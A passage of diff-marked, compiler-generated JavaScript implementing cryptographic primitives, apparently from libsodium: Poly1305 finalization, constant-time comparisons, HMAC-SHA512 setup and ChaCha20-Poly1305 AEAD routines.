+ 60 >> 2]) && (s4[(l5 = t7 - -64 | 0) + c5 | 0] = 1, !((C5 = c5 + 1 | 0) ? h5 : h5 + 1 | 0) & C5 >>> 0 <= 15 && xt2(65 + (t7 + c5 | 0) | 0, 0, 15 - c5 | 0), s4[t7 + 80 | 0] = 1, x4(t7, l5, 16, 0)), C5 = a4[t7 + 52 >> 2], I5 = a4[t7 + 48 >> 2], l5 = a4[t7 + 44 >> 2], c5 = a4[t7 + 24 >> 2], f5 = a4[t7 + 28 >> 2] + (c5 >>> 26 | 0) | 0, u5 = a4[t7 + 32 >> 2] + (f5 >>> 26 | 0) | 0, r11 = a4[t7 + 36 >> 2] + (u5 >>> 26 | 0) | 0, h5 = (d5 = (c5 = (c5 = (67108863 & c5) + ((p5 = a4[t7 + 20 >> 2] + g4(r11 >>> 26 | 0, 5) | 0) >>> 26 | 0) | 0) & (f5 = (u5 = (o5 = (67108863 & r11) + ((i4 = (n9 = 67108863 & u5) + ((A8 = (y5 = 67108863 & f5) + ((p5 = c5 + ((h5 = 5 + (d5 = 67108863 & p5) | 0) >>> 26 | 0) | 0) >>> 26 | 0) | 0) >>> 26 | 0) | 0) >>> 26 | 0) | 0) - 67108864 | 0) >> 31) | p5 & (u5 = 67108863 & (p5 = (u5 >>> 31 | 0) - 1 | 0))) << 26 | h5 & u5 | f5 & d5) + a4[t7 + 40 >> 2] | 0, s4[0 | e6] = h5, s4[e6 + 1 | 0] = h5 >>> 8, s4[e6 + 2 | 0] = h5 >>> 16, s4[e6 + 3 | 0] = h5 >>> 24, d5 = h5 >>> 0 < d5 >>> 0, h5 = 0, h5 = (c5 = (y5 = f5 & y5 | u5 & A8) << 20 | c5 >>> 6) >>> 0 > (c5 = c5 + l5 | 0) >>> 0 ? 1 : h5, h5 = (l5 = c5) >>> 0 > (c5 = c5 + d5 | 0) >>> 0 ? h5 + 1 | 0 : h5, s4[e6 + 4 | 0] = c5, s4[e6 + 5 | 0] = c5 >>> 8, s4[e6 + 6 | 0] = c5 >>> 16, s4[e6 + 7 | 0] = c5 >>> 24, c5 = 0, l5 = (l5 = (u5 = f5 & n9 | u5 & i4) << 14 | y5 >>> 12) >>> 0 > (I5 = l5 + I5 | 0) >>> 0 ? 1 : c5, c5 = I5, I5 = h5, c5 = c5 + h5 | 0, h5 = l5, h5 = c5 >>> 0 < I5 >>> 0 ? h5 + 1 | 0 : h5, s4[e6 + 8 | 0] = c5, s4[e6 + 9 | 0] = c5 >>> 8, s4[e6 + 10 | 0] = c5 >>> 16, s4[e6 + 11 | 0] = c5 >>> 24, h5 = (c5 = (c5 = (p5 & o5 | f5 & r11) << 8 | u5 >>> 18) + C5 | 0) + h5 | 0, s4[e6 + 12 | 0] = h5, s4[e6 + 13 | 0] = h5 >>> 8, s4[e6 + 14 | 0] = h5 >>> 16, s4[e6 + 15 | 0] = h5 >>> 24, oe2(t7, 88); - } - function tt2(t7, e6, r11) { - var n9, A8 = 0; - return I4 = n9 = I4 - 16 | 0, s4[n9 + 15 | 0] = 0, A8 = -1, 0 | Ie2[a4[8806]](t7, e6, r11) || (s4[n9 + 15 | 0] = c4[0 | t7] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 1 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 2 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 3 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 4 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 5 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 6 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 7 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 8 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 9 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 10 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 11 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 12 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 13 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 14 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 15 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 16 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 17 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 18 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 19 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 20 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 21 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 22 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 23 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 24 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 25 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 26 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 27 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 28 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 29 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 30 | 0] | c4[n9 + 15 | 0], s4[n9 + 15 | 0] = c4[t7 + 31 | 0] | c4[n9 + 15 | 0], A8 = (c4[n9 + 15 | 0] << 23) - 8388608 >> 31), I4 = n9 + 16 | 0, A8; - } - function et2(t7, e6) { - var r11, n9, A8, i4, o5, c5, h5, u5 = 0, l5 = 0; - n9 = a4[e6 + 32 >> 2], A8 = a4[e6 + 28 >> 2], i4 = a4[e6 + 24 >> 2], o5 = a4[e6 + 20 >> 2], c5 = a4[e6 + 16 >> 2], h5 = a4[e6 + 12 >> 2], u5 = a4[e6 + 4 >> 2], l5 = a4[e6 >> 2], r11 = a4[e6 + 36 >> 2], e6 = a4[e6 + 8 >> 2], l5 = g4((n9 + (A8 + (i4 + (o5 + (c5 + (h5 + ((u5 + (l5 + (g4(r11, 19) + 16777216 >>> 25 | 0) >> 26) >> 25) + e6 >> 26) >> 25) >> 26) >> 25) >> 26) >> 25) >> 26) + r11 >> 25, 19) + l5 | 0, s4[0 | t7] = l5, s4[t7 + 2 | 0] = l5 >>> 16, s4[t7 + 1 | 0] = l5 >>> 8, u5 = u5 + (l5 >> 26) | 0, s4[t7 + 5 | 0] = u5 >>> 14, s4[t7 + 4 | 0] = u5 >>> 6, s4[t7 + 3 | 0] = l5 >>> 24 & 3 | u5 << 2, e6 = e6 + (u5 >> 25) | 0, s4[t7 + 8 | 0] = e6 >>> 13, s4[t7 + 7 | 0] = e6 >>> 5, s4[t7 + 6 | 0] = e6 << 3 | (29360128 & u5) >>> 22, l5 = (e6 >> 26) + h5 | 0, s4[t7 + 11 | 0] = l5 >>> 11, s4[t7 + 10 | 0] = l5 >>> 3, s4[t7 + 9 | 0] = l5 << 5 | (65011712 & e6) >>> 21, u5 = (l5 >> 25) + c5 | 0, s4[t7 + 15 | 0] = u5 >>> 18, s4[t7 + 14 | 0] = u5 >>> 10, s4[t7 + 13 | 0] = u5 >>> 2, e6 = (u5 >> 26) + o5 | 0, s4[t7 + 16 | 0] = e6, s4[t7 + 12 | 0] = u5 << 6 | (33030144 & l5) >>> 19, s4[t7 + 18 | 0] = e6 >>> 16, s4[t7 + 17 | 0] = e6 >>> 8, u5 = (e6 >> 25) + i4 | 0, s4[t7 + 21 | 0] = u5 >>> 15, s4[t7 + 20 | 0] = u5 >>> 7, s4[t7 + 19 | 0] = e6 >>> 24 & 1 | u5 << 1, e6 = (u5 >> 26) + A8 | 0, s4[t7 + 24 | 0] = e6 >>> 13, s4[t7 + 23 | 0] = e6 >>> 5, s4[t7 + 22 | 0] = e6 << 3 | (58720256 & u5) >>> 23, u5 = (e6 >> 25) + n9 | 0, s4[t7 + 27 | 0] = u5 >>> 12, s4[t7 + 26 | 0] = u5 >>> 4, s4[t7 + 25 | 0] = u5 << 4 | (31457280 & e6) >>> 21, e6 = r11 + (u5 >> 26) | 0, s4[t7 + 30 | 0] = e6 >>> 10, s4[t7 + 29 | 0] = e6 >>> 2, s4[t7 + 31 | 0] = (33292288 & e6) >>> 18, s4[t7 + 28 | 0] = e6 << 6 | (66060288 & u5) >>> 20; - } - function rt2(t7, e6, r11) { - var n9, A8 = 0, i4 = 0, o5 = 0, a5 = 0, h5 = 0, g5 = 0, u5 = 0; - if (I4 = n9 = I4 - 192 | 0, r11 >>> 0 >= 129 && (gt2(t7), G4(t7, e6, r11, 0), D4(t7, n9), r11 = 64, e6 = n9), gt2(t7), xt2(n9 - -64 | 0, 54, 128), r11) { - if (r11 >>> 0 >= 4) - for (u5 = 252 & r11; s4[0 | (A8 = (o5 = n9 - -64 | 0) + i4 | 0)] = c4[0 | A8] ^ c4[e6 + i4 | 0], s4[0 | (a5 = (A8 = 1 | i4) + o5 | 0)] = c4[0 | a5] ^ c4[e6 + A8 | 0], s4[0 | (a5 = (A8 = 2 | i4) + o5 | 0)] = c4[0 | a5] ^ c4[e6 + A8 | 0], s4[0 | (A8 = (A8 = o5) + (o5 = 3 | i4) | 0)] = c4[0 | A8] ^ c4[e6 + o5 | 0], i4 = i4 + 4 | 0, (0 | u5) != (0 | (h5 = h5 + 4 | 0)); ) - ; - if (h5 = 3 & r11) - for (; s4[0 | (o5 = (n9 - -64 | 0) + i4 | 0)] = c4[0 | o5] ^ c4[e6 + i4 | 0], i4 = i4 + 1 | 0, (0 | h5) != (0 | (g5 = g5 + 1 | 0)); ) - ; - } - if (G4(t7, i4 = n9 - -64 | 0, 128, 0), gt2(o5 = t7 + 208 | 0), xt2(i4, 92, 128), r11) { - if (g5 = 0, i4 = 0, r11 >>> 0 >= 4) - for (u5 = 252 & r11, h5 = 0; s4[0 | (A8 = (t7 = n9 - -64 | 0) + i4 | 0)] = c4[0 | A8] ^ c4[e6 + i4 | 0], s4[0 | (a5 = (A8 = 1 | i4) + t7 | 0)] = c4[0 | a5] ^ c4[e6 + A8 | 0], s4[0 | (a5 = (A8 = 2 | i4) + t7 | 0)] = c4[0 | a5] ^ c4[e6 + A8 | 0], s4[0 | (A8 = (A8 = t7) + (t7 = 3 | i4) | 0)] = c4[0 | A8] ^ c4[t7 + e6 | 0], i4 = i4 + 4 | 0, (0 | u5) != (0 | (h5 = h5 + 4 | 0)); ) - ; - if (t7 = 3 & r11) - for (; s4[0 | (r11 = (n9 - -64 | 0) + i4 | 0)] = c4[0 | r11] ^ c4[e6 + i4 | 0], i4 = i4 + 1 | 0, (0 | t7) != (0 | (g5 = g5 + 1 | 0)); ) - ; - } - return G4(o5, t7 = n9 - -64 | 0, 128, 0), oe2(t7, 128), oe2(n9, 64), I4 = n9 + 192 | 0, 0; - } - function nt2(t7, e6) { - var r11; - return a4[12 + (r11 = I4 - 16 | 0) >> 2] = t7, a4[r11 + 8 >> 2] = e6, a4[r11 + 4 >> 2] = 0, a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2]] ^ c4[a4[r11 + 8 >> 2]], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 1 | 0] ^ c4[a4[r11 + 8 >> 2] + 1 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 2 | 0] ^ c4[a4[r11 + 8 >> 2] + 2 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 3 | 0] ^ c4[a4[r11 + 8 >> 2] + 3 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 4 | 0] ^ c4[a4[r11 + 8 >> 2] + 4 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 5 | 0] ^ c4[a4[r11 + 8 >> 2] + 5 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 6 | 0] ^ c4[a4[r11 + 8 >> 2] + 6 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 7 | 0] ^ c4[a4[r11 + 8 >> 2] + 7 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 8 | 0] ^ c4[a4[r11 + 8 >> 2] + 8 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 9 | 0] ^ c4[a4[r11 + 8 >> 2] + 9 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 10 | 0] ^ c4[a4[r11 + 8 >> 2] + 10 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 11 | 0] ^ c4[a4[r11 + 8 >> 2] + 11 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 12 | 0] ^ c4[a4[r11 + 8 >> 2] + 12 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 13 | 0] ^ c4[a4[r11 + 8 >> 2] + 13 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 14 | 0] ^ c4[a4[r11 + 8 >> 2] + 14 | 0], a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + 15 | 0] ^ c4[a4[r11 + 8 >> 2] + 15 | 0], (a4[r11 + 4 >> 2] - 1 >>> 8 & 1) - 1 | 0; - } - function At2(t7, e6) { - var r11, n9 = 0, A8 = 0; - r11 = e6; - t: - if (n9 = 255 & e6) { - if (3 & t7) - for (; ; ) { - if (!(e6 = c4[0 | t7]) | (0 | e6) == (255 & r11)) - break t; - if (!(3 & (t7 = t7 + 1 | 0))) - break; - } - e: - if (!(~(e6 = a4[t7 >> 2]) & e6 - 16843009 & -2139062144)) - for (n9 = g4(n9, 16843009); ; ) { - if (~(e6 ^= n9) & e6 - 16843009 & -2139062144) - break e; - if (e6 = a4[t7 + 4 >> 2], t7 = t7 + 4 | 0, e6 - 16843009 & ~e6 & -2139062144) - break; - } - for (; e6 = t7, (n9 = c4[0 | t7]) && (t7 = t7 + 1 | 0, (0 | n9) != (255 & r11)); ) - ; - t7 = e6; - } else { - n9 = t7; - e: { - r: { - n: - if (3 & t7) { - if (e6 = 0, !c4[0 | t7]) - break e; - for (; ; ) { - if (!(3 & (t7 = t7 + 1 | 0))) - break n; - if (!c4[0 | t7]) - break; - } - break r; - } - for (; e6 = t7, t7 = t7 + 4 | 0, !(~(A8 = a4[e6 >> 2]) & A8 - 16843009 & -2139062144); ) - ; - for (; e6 = (t7 = e6) + 1 | 0, c4[0 | t7]; ) - ; - } - e6 = t7 - n9 | 0; - } - t7 = e6 + n9 | 0; - } - return c4[0 | t7] == (255 & r11) ? t7 : 0; - } - function it2(t7, e6, r11, n9, A8, i4, o5) { - var s5, c5, h5 = 0, g5 = 0, u5 = 0; - I4 = s5 = I4 - 96 | 0, O4(s5, i4, o5), o5 = s5 + 32 | 0, c5 = i4 + 16 | 0, Ie2[a4[8808]](o5, 32, 0, c5, s5), i4 = -1; - t: { - if (!(0 | Ie2[a4[8802]](r11, e6, n9, A8, o5))) { - if (i4 = 0, !t7) - break t; - !((!A8 & n9 >>> 0 > e6 - t7 >>> 0 | !!(0 | A8)) & t7 >>> 0 < e6 >>> 0) & (!A8 & n9 >>> 0 <= t7 - e6 >>> 0 | t7 >>> 0 <= e6 >>> 0) || (e6 = kt2(t7, e6, n9)), g5 = o5 = (i4 = !A8 & n9 >>> 0 >= 32 | !!(0 | A8)) ? 0 : A8, (r11 = i4 ? 32 : n9) | o5 ? (u5 = Mt2(s5 - -64 | 0, e6, r11), Jt2(i4 = s5 + 32 | 0, i4, h5 = r11 + 32 | 0, o5 = h5 >>> 0 < 32 ? o5 + 1 | 0 : o5, c5, s5), Mt2(t7, u5, r11)) : Jt2(i4 = s5 + 32 | 0, i4, h5 = r11 + 32 | 0, o5 = h5 >>> 0 < 32 ? o5 + 1 | 0 : o5, c5, s5), oe2(s5 + 32 | 0, 64), i4 = 0, !A8 & n9 >>> 0 < 33 || zt2(t7 + r11 | 0, e6 + r11 | 0, n9 - r11 | 0, A8 - (g5 + (r11 >>> 0 > n9 >>> 0) | 0) | 0, c5, s5); - } - oe2(s5, 32); - } - return I4 = s5 + 96 | 0, i4; - } - function ot2(t7, e6, r11, n9, A8, i4, o5) { - var s5, c5, h5, g5, u5 = 0; - return I4 = s5 = I4 - 352 | 0, O4(s5, i4, o5), !((!A8 & n9 >>> 0 > t7 - r11 >>> 0 | !!(0 | A8)) & t7 >>> 0 > r11 >>> 0) & (!A8 & n9 >>> 0 <= r11 - t7 >>> 0 | t7 >>> 0 >= r11 >>> 0) || (r11 = kt2(t7, r11, n9)), a4[s5 + 56 >> 2] = 0, a4[s5 + 60 >> 2] = 0, a4[s5 + 48 >> 2] = 0, a4[s5 + 52 >> 2] = 0, a4[s5 + 40 >> 2] = 0, a4[s5 + 44 >> 2] = 0, a4[s5 + 32 >> 2] = 0, a4[s5 + 36 >> 2] = 0, (h5 = !((o5 = (u5 = !A8 & n9 >>> 0 >= 32 | !!(0 | A8)) ? 32 : n9) | (u5 = u5 ? 0 : A8))) || Mt2(s5 - -64 | 0, r11, o5), Jt2(c5 = s5 + 32 | 0, c5, g5 = o5 + 32 | 0, g5 >>> 0 < 32 ? u5 + 1 | 0 : u5, i4 = i4 + 16 | 0, s5), ne2(s5 + 96 | 0, c5), h5 || Mt2(t7, s5 - -64 | 0, o5), oe2(s5 + 32 | 0, 64), !A8 & n9 >>> 0 >= 33 | A8 && zt2(t7 + o5 | 0, r11 + o5 | 0, n9 - o5 | 0, A8 - (u5 + (n9 >>> 0 < o5 >>> 0) | 0) | 0, i4, s5), oe2(s5, 32), $t2(r11 = s5 + 96 | 0, t7, n9, A8), Ae2(r11, e6), oe2(r11, 256), I4 = s5 + 352 | 0, 0; - } - function st2(t7, e6, r11, n9, A8, i4, o5, s5, h5, g5) { - var u5, l5; - return I4 = u5 = I4 - 400 | 0, a4[u5 + 4 >> 2] = 0, L4(l5 = u5 + 16 | 0, h5, g5), g5 = c4[h5 + 20 | 0] | c4[h5 + 21 | 0] << 8 | c4[h5 + 22 | 0] << 16 | c4[h5 + 23 | 0] << 24, a4[u5 + 8 >> 2] = c4[h5 + 16 | 0] | c4[h5 + 17 | 0] << 8 | c4[h5 + 18 | 0] << 16 | c4[h5 + 19 | 0] << 24, a4[u5 + 12 >> 2] = g5, Wt2(g5 = u5 + 80 | 0, 64, u5 + 4 | 0, l5), ne2(h5 = u5 + 144 | 0, g5), oe2(g5, 64), $t2(h5, i4, o5, s5), $t2(h5, 33904, 0 - o5 & 15, 0), $t2(h5, e6, r11, n9), $t2(h5, 33904, 0 - r11 & 15, 0), a4[u5 + 72 >> 2] = o5, a4[u5 + 76 >> 2] = s5, $t2(h5, i4 = u5 + 72 | 0, 8, 0), a4[u5 + 72 >> 2] = r11, a4[u5 + 76 >> 2] = n9, $t2(h5, i4, 8, 0), Ae2(h5, i4 = u5 + 48 | 0), oe2(h5, 256), h5 = nt2(i4, A8), oe2(i4, 16), t7 && (h5 ? (xt2(t7, 0, r11), h5 = -1) : (Lt2(t7, e6, r11, n9, u5 + 4 | 0, u5 + 16 | 0), h5 = 0)), oe2(u5 + 16 | 0, 32), I4 = u5 + 400 | 0, h5; - } - function at2(t7, e6, r11, n9, A8, i4, o5, s5, h5, g5, u5) { - var l5, f5, p5; - return I4 = l5 = I4 - 384 | 0, a4[l5 + 4 >> 2] = 0, L4(f5 = l5 + 16 | 0, g5, u5), u5 = c4[g5 + 20 | 0] | c4[g5 + 21 | 0] << 8 | c4[g5 + 22 | 0] << 16 | c4[g5 + 23 | 0] << 24, a4[l5 + 8 >> 2] = c4[g5 + 16 | 0] | c4[g5 + 17 | 0] << 8 | c4[g5 + 18 | 0] << 16 | c4[g5 + 19 | 0] << 24, a4[l5 + 12 >> 2] = u5, Wt2(u5 = l5 - -64 | 0, 64, p5 = l5 + 4 | 0, f5), ne2(g5 = l5 + 128 | 0, u5), oe2(u5, 64), $t2(g5, o5, s5, h5), $t2(g5, 33904, 0 - s5 & 15, 0), Lt2(t7, n9, A8, i4, p5, f5), $t2(g5, t7, A8, i4), $t2(g5, 33904, 0 - A8 & 15, 0), a4[l5 + 56 >> 2] = s5, a4[l5 + 60 >> 2] = h5, $t2(g5, t7 = l5 + 56 | 0, 8, 0), a4[l5 + 56 >> 2] = A8, a4[l5 + 60 >> 2] = i4, $t2(g5, t7, 8, 0), Ae2(g5, e6), oe2(g5, 256), r11 && (a4[r11 >> 2] = 16, a4[r11 + 4 >> 2] = 0), oe2(l5 + 16 | 0, 32), I4 = l5 + 384 | 0, 0; - } - function ct2(t7, e6, r11, n9) { - var A8, i4 = 0; - return I4 = A8 = I4 - 208 | 0, a4[A8 + 72 >> 2] = 0, a4[A8 + 76 >> 2] = 0, i4 = a4[8579], a4[A8 + 8 >> 2] = a4[8578], a4[A8 + 12 >> 2] = i4, i4 = a4[8581], a4[A8 + 16 >> 2] = a4[8580], a4[A8 + 20 >> 2] = i4, i4 = a4[8583], a4[A8 + 24 >> 2] = a4[8582], a4[A8 + 28 >> 2] = i4, i4 = a4[8585], a4[A8 + 32 >> 2] = a4[8584], a4[A8 + 36 >> 2] = i4, i4 = a4[8587], a4[A8 + 40 >> 2] = a4[8586], a4[A8 + 44 >> 2] = i4, i4 = a4[8589], a4[A8 + 48 >> 2] = a4[8588], a4[A8 + 52 >> 2] = i4, i4 = a4[8591], a4[A8 + 56 >> 2] = a4[8590], a4[A8 + 60 >> 2] = i4, a4[A8 + 64 >> 2] = 0, a4[A8 + 68 >> 2] = 0, i4 = a4[8577], a4[A8 >> 2] = a4[8576], a4[A8 + 4 >> 2] = i4, G4(A8, e6, r11, n9), D4(A8, t7), I4 = A8 + 208 | 0, 0; - } - function ht2(t7, e6) { - var r11, n9 = 0, A8 = 0, i4 = 0; - if (s4[15 + (r11 = I4 - 16 | 0) | 0] = 0, e6) { - if (A8 = 3 & e6, e6 >>> 0 >= 4) - for (i4 = -4 & e6, e6 = 0; s4[r11 + 15 | 0] = c4[t7 + n9 | 0] | c4[r11 + 15 | 0], s4[r11 + 15 | 0] = c4[(1 | n9) + t7 | 0] | c4[r11 + 15 | 0], s4[r11 + 15 | 0] = c4[(2 | n9) + t7 | 0] | c4[r11 + 15 | 0], s4[r11 + 15 | 0] = c4[(3 | n9) + t7 | 0] | c4[r11 + 15 | 0], n9 = n9 + 4 | 0, (0 | i4) != (0 | (e6 = e6 + 4 | 0)); ) - ; - if (A8) - for (e6 = 0; s4[r11 + 15 | 0] = c4[t7 + n9 | 0] | c4[r11 + 15 | 0], n9 = n9 + 1 | 0, (0 | A8) != (0 | (e6 = e6 + 1 | 0)); ) - ; - } - return c4[r11 + 15 | 0] - 1 >>> 8 & 1; - } - function gt2(t7) { - var e6 = 0; - a4[t7 + 64 >> 2] = 0, a4[t7 + 68 >> 2] = 0, a4[t7 + 72 >> 2] = 0, a4[t7 + 76 >> 2] = 0, e6 = a4[8577], a4[t7 >> 2] = a4[8576], a4[t7 + 4 >> 2] = e6, e6 = a4[8579], a4[t7 + 8 >> 2] = a4[8578], a4[t7 + 12 >> 2] = e6, e6 = a4[8581], a4[t7 + 16 >> 2] = a4[8580], a4[t7 + 20 >> 2] = e6, e6 = a4[8583], a4[t7 + 24 >> 2] = a4[8582], a4[t7 + 28 >> 2] = e6, e6 = a4[8585], a4[t7 + 32 >> 2] = a4[8584], a4[t7 + 36 >> 2] = e6, e6 = a4[8587], a4[t7 + 40 >> 2] = a4[8586], a4[t7 + 44 >> 2] = e6, e6 = a4[8589], a4[t7 + 48 >> 2] = a4[8588], a4[t7 + 52 >> 2] = e6, e6 = a4[8591], a4[t7 + 56 >> 2] = a4[8590], a4[t7 + 60 >> 2] = e6; - } - function ut2(t7, e6, r11) { - var n9, A8 = 0, i4 = 0; - if (a4[12 + (n9 = I4 - 16 | 0) >> 2] = t7, a4[n9 + 8 >> 2] = e6, t7 = 0, s4[n9 + 7 | 0] = 0, r11) { - if (e6 = 1 & r11, 1 != (0 | r11)) - for (i4 = -2 & r11, r11 = 0; s4[n9 + 7 | 0] = c4[n9 + 7 | 0] | c4[a4[n9 + 12 >> 2] + t7 | 0] ^ c4[a4[n9 + 8 >> 2] + t7 | 0], A8 = 1 | t7, s4[n9 + 7 | 0] = c4[n9 + 7 | 0] | c4[A8 + a4[n9 + 12 >> 2] | 0] ^ c4[a4[n9 + 8 >> 2] + A8 | 0], t7 = t7 + 2 | 0, (0 | i4) != (0 | (r11 = r11 + 2 | 0)); ) - ; - e6 && (s4[n9 + 7 | 0] = c4[n9 + 7 | 0] | c4[a4[n9 + 12 >> 2] + t7 | 0] ^ c4[a4[n9 + 8 >> 2] + t7 | 0]); - } - return (c4[n9 + 7 | 0] - 1 >>> 8 & 1) - 1 | 0; - } - function lt2(t7) { - for (var e6 = 0, r11 = 0, n9 = 0, A8 = 0, i4 = 0, o5 = 0, s5 = 0, a5 = 0, h5 = 0, g5 = 0; A8 = (r11 = c4[t7 + n9 | 0]) ^ c4[0 | (e6 = n9 + 2448 | 0)] | A8, i4 = r11 ^ c4[e6 + 192 | 0] | i4, o5 = r11 ^ c4[e6 + 160 | 0] | o5, s5 = r11 ^ c4[e6 + 128 | 0] | s5, a5 = r11 ^ c4[e6 + 96 | 0] | a5, h5 = r11 ^ c4[e6 - -64 | 0] | h5, g5 = r11 ^ c4[e6 + 32 | 0] | g5, 31 != (0 | (n9 = n9 + 1 | 0)); ) - ; - return ((255 & ((e6 = 127 ^ (t7 = 127 & c4[t7 + 31 | 0])) | i4)) - 1 | (255 & (e6 | o5)) - 1 | (255 & (e6 | s5)) - 1 | (255 & (122 ^ t7 | a5)) - 1 | (255 & (5 ^ t7 | h5)) - 1 | (255 & (t7 | g5)) - 1 | (255 & (t7 | A8)) - 1) >>> 8 & 1; - } - function ft2(t7, e6, r11) { - var n9 = 0, A8 = 0, i4 = 0, o5 = 0; - return A8 = 31 & (i4 = o5 = 63 & r11), i4 = i4 >>> 0 >= 32 ? -1 >>> A8 | 0 : (n9 = -1 >>> A8 | 0) | (1 << A8) - 1 << 32 - A8, i4 &= t7, n9 &= e6, A8 = 31 & o5, o5 >>> 0 >= 32 ? (n9 = i4 << A8, o5 = 0) : (n9 = (1 << A8) - 1 & i4 >>> 32 - A8 | n9 << A8, o5 = i4 << A8), i4 = n9, n9 = 31 & (A8 = 0 - r11 & 63), A8 >>> 0 >= 32 ? (n9 = -1 << n9, r11 = 0) : n9 = (r11 = -1 << n9) | (1 << n9) - 1 & -1 >>> 32 - n9, t7 &= r11, e6 &= n9, n9 = 31 & A8, A8 >>> 0 >= 32 ? (r11 = 0, t7 = e6 >>> n9 | 0) : (r11 = e6 >>> n9 | 0, t7 = ((1 << n9) - 1 & e6) << 32 - n9 | t7 >>> n9), y4 = r11 | i4, t7 | o5; - } - function pt2(t7, e6, r11, n9, A8, i4, o5, s5, c5, h5) { - var g5, u5, l5; - return I4 = g5 = I4 - 352 | 0, Wt2(l5 = g5 + 32 | 0, 64, c5, h5), ne2(u5 = g5 + 96 | 0, l5), oe2(l5, 64), $t2(u5, i4, o5, s5), $t2(u5, 33920, 0 - o5 & 15, 0), $t2(u5, e6, r11, n9), $t2(u5, 33920, 0 - r11 & 15, 0), a4[g5 + 24 >> 2] = o5, a4[g5 + 28 >> 2] = s5, $t2(u5, i4 = g5 + 24 | 0, 8, 0), a4[g5 + 24 >> 2] = r11, a4[g5 + 28 >> 2] = n9, $t2(u5, i4, 8, 0), Ae2(u5, g5), oe2(u5, 256), i4 = nt2(g5, A8), oe2(g5, 16), t7 && (i4 ? (xt2(t7, 0, r11), i4 = -1) : (Et2(t7, e6, r11, n9, c5, 1, h5), i4 = 0)), I4 = g5 + 352 | 0, i4; - } - function dt2(t7, e6, r11, n9, A8, i4, o5, s5, c5, h5, g5) { - var u5, l5, f5; - return I4 = u5 = I4 - 336 | 0, Wt2(f5 = u5 + 16 | 0, 64, h5, g5), ne2(l5 = u5 + 80 | 0, f5), oe2(f5, 64), $t2(l5, o5, s5, c5), $t2(l5, 33920, 0 - s5 & 15, 0), Et2(t7, n9, A8, i4, h5, 1, g5), $t2(l5, t7, A8, i4), $t2(l5, 33920, 0 - A8 & 15, 0), a4[u5 + 8 >> 2] = s5, a4[u5 + 12 >> 2] = c5, $t2(l5, t7 = u5 + 8 | 0, 8, 0), a4[u5 + 8 >> 2] = A8, a4[u5 + 12 >> 2] = i4, $t2(l5, t7, 8, 0), Ae2(l5, e6), oe2(l5, 256), r11 && (a4[r11 >> 2] = 16, a4[r11 + 4 >> 2] = 0), I4 = u5 + 336 | 0, 0; - } - function It2(t7, e6, r11, n9, A8, i4, o5, s5, c5, h5) { - var g5, u5, l5; - return I4 = g5 = I4 - 352 | 